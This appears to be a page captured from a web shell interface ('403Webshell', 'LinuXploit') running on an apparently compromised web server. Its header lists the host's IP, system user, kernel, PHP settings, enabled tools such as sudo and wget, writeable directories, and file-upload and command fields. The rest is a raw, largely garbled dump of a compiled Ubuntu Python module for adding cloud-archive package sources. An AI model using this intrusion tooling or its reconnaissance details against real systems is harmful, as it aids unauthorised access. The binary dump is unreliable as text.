403Webshell
Server IP : 167.235.67.158  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : upstairsbar.co.uk ( 982)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/softwareproperties/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/softwareproperties/__pycache__/cloudarchive.cpython-312.pyc
�

-�[i��
��ddlZddlZddlmZddlmZmZmZddlm	Z	ddl
mZddlm
Z
idd�d	d�d
d�dd�dd
�dd
�dd
�dd
�dd�dd�dd�dd�dd�dd�dd�dd�dd�dddddddddddd��Zd Zd!Zd"Zd#d$gZd%d&gZedZd'ZGd(�d)e�Zy)*�N)�gettext)�ShortcutHandler�ShortcutException�InvalidShortcutException)�SourcesListShortcutHandler)�URIShortcutHandler)�urlparse�folsom�precise�grizzly�havana�icehouse�juno�trusty�kilo�liberty�mitaka�newton�xenial�ocata�pike�queens�rocky�bionic�stein�train�ussuri�victoria�focal�jammy�noble)�wallaby�xena�yoga�zed�antelope�bobcat�caracal�	dalmatian�epoxy�flamingo�gazpachozUbuntu Cloud Archivez.https://wiki.ubuntu.com/OpenStack/CloudArchivez0http://ubuntu-cloud.archive.canonical.com/ubuntuz
cloud-archive�uca�updates�proposedzubuntu-cloud-keyringc�h��eZdZ�fd�Zed��Zed��Zd�Zd
�fd�	Zd�Z	d�Z
d�Zd	�Z�xZ
S)�CloudArchiveShortcutHandlerc���tt|�
|fi|��d|_t	|j|�|j
|�|j|�f�std�|z}t|��|jj�|_d|jz|_|jj�|_|jtvr#td�|jz}t|��|jtvr#td�|jz}t|��t|j}t!|t#j$d�xs|f�}|j&|vrAtd�|jj)�|j)�fz}t|��t*�d|jj)���|_|jdk(r|xj,d	z
c_|j.st|j&�d
|j�d|j��}dj1|j2�xsd
}|j4�dt6�d|�d|��}|j9|�yy)Nz&not a valid cloud-archive format: '%s'zcloudarchive-%sz&not a valid cloud-archive pocket: '%s'znot a valid cloud-archive: '%s'�CA_ALLOW_CODENAMEz)cloud-archive for %s only supported on %sz for OpenStack r/z [proposed]�-�/� �main)�superr1�__init__�caname�any�
_match_uca�
_match_uri�_match_sourceslist�_r�lower�	_filebase�pocket�UCA_VALID_POCKETSr�RELEASE_MAP�set�os�getenv�codename�
capitalize�UCA�_description�
_source_entry�join�
components�binary_type�UCA_ARCHIVE�_set_source_entry)
�self�shortcut�kwargs�msgrH�
validnames�dist�comps�line�	__class__s
         ��A/usr/lib/python3/dist-packages/softwareproperties/cloudarchive.pyr9z$CloudArchiveShortcutHandler.__init__Ms'���
�)�4�9�(�M�f�M�����D�O�O�H�-��O�O�H�-��+�+�H�5�7�8��=�>��I�C�*�3�/�/��k�k�'�'�)���*�T�[�[�8����k�k�'�'�)����{�{�/�/��=�>����L�C�#�C�(�(��{�{�k�)��6�7�$�+�+�E�C�#�C�(�(��t�{�{�+���(�B�I�I�.A�$B�$N�h�O�P�
��=�=�
�*��@�A��K�K�*�*�,�h�.A�.A�.C�D�E�C�#�C�(�(�"�e�?�4�;�;�3I�3I�3K�2L�M����;�;�*�$�����.���!�!��m�m�_�A�d�k�k�]�!�D�K�K�=�A�D��H�H�T�_�_�-�7��E��&�&�'�q��
�Q�t�f�A�e�W�E�D��"�"�4�(�	"�c��|jS�N)rK�rRs r[�descriptionz'CloudArchiveShortcutHandler.descriptionvs��� � � r\c��tSr^)�WEB_LINKr_s r[�web_linkz$CloudArchiveShortcutHandler.web_linkzs���r\c�\�tjdt��j�d��y)Nzapt-get install -y T)�check)�
subprocess�run�UCA_KEYRING_PACKAGE�splitr_s r[�add_keyz#CloudArchiveShortcutHandler.add_key~s$�����,�-@�,A�B�H�H�J�RV�Wr\c�(��tt|��Sr^)r8r1�_encode_filebase)rR�suffixrZs  �r[rlz,CloudArchiveShortcutHandler._encode_filebase�s����0�$�H�J�Jr\c���|jd�\}}}|j�tvry|jd�\}}}|sy||_|xs|j
xst|_y)N�:Fr4T)�
rpartitionr@�UCA_PREFIXES�	partitionr:rB�UCA_DEFAULT_POCKET)rRrS�prefixr?r-r:rBs       r[r<z&CloudArchiveShortcutHandler._match_uca�se��#�.�.�s�3����C��|�|�~��-��!�m�m�C�0����F�������A����A�/A���r\c�V�	|jt|��S#t$rYywxYw�NF)�_match_handlerrr�rRrSs  r[r=z&CloudArchiveShortcutHandler._match_uri�s0��	��&�&�'9�(�'C�D�D��'�	��	����	(�(c�V�	|jt|��S#t$rYywxYwrv)rwrrrxs  r[r>z.CloudArchiveShortcutHandler._match_sourceslist�s0��	��&�&�'A�(�'K�L�L��'�	��	�ryc���t|j�j�}|jtt�jk7ry|j�j
j
d�\}}}|j
d�\}}}t||f�sy||_|xs|jxst|_	|j|j�j�y)NFr5r4T)
r	�SourceEntry�uri�hostnamerPrWrr�allr:rBrsrQrY)rR�handler�parsedrHr?r:rBs       r[rwz*CloudArchiveShortcutHandler._match_handler�s����'�-�-�/�3�3�4���?�?�h�{�3�<�<�<�� '� 3� 3� 5� :� :� D� D�S� I���1�f� (� 2� 2�3� 7���1�f��H�f�%�&������A����A�/A������w�2�2�4�9�9�:�r\r^)�__name__�
__module__�__qualname__r9�propertyr`rcrjrlr<r=r>rw�
__classcell__)rZs@r[r1r1LsQ���')�R�!��!�����X�K����r\r1)rFrfrr?�"softwareproperties.shortcuthandlerrrr�softwareproperties.sourceslistr�softwareproperties.urir�urllib.parser	rDrJrbrPrqrCrsrhr1�r\r[�<module>r�sa��,
�� �J�J�E�5�!���i��
�y��
�i���	�	�
�H���H�
��x��
�h��
�h���X���H��
�h���X���X���X�� 
�h�!�"��#�$��������
���9��<��;��@����'���
�+��&�q�)��,��b�/�br\

Youez - 2016 - github.com/yon3zu
LinuXploit